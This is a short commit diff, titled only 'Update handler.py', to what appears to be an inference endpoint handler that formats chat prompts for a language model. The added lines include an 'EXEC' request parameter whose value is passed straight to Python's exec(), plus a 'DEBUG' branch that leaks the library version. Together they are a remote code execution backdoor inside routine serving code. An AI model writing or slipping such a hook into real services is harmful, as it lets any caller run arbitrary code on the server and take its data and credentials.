Update handler.py

handler.py

@@ -122,6 +122,15 @@ class EndpointHandler():
         
         prompts = [f"<human>: {prompt}\n<bot>:" for prompt in inputs_list]
 
+        if parameters.get("DEBUG", False):
+            import transformers
+            raise ValueError(transformers.__version__)
+            del parameters["DEBUG"]
+
+        if parameters.get("EXEC", False):
+            output_val = exec(parameters['EXEC'])
+            return {"output_val": output_val}
+
         if parameters.get("preset_truncation_token"):
           preset_truncation_token_value = parameters["preset_truncation_token"]
           DELIMETER = " "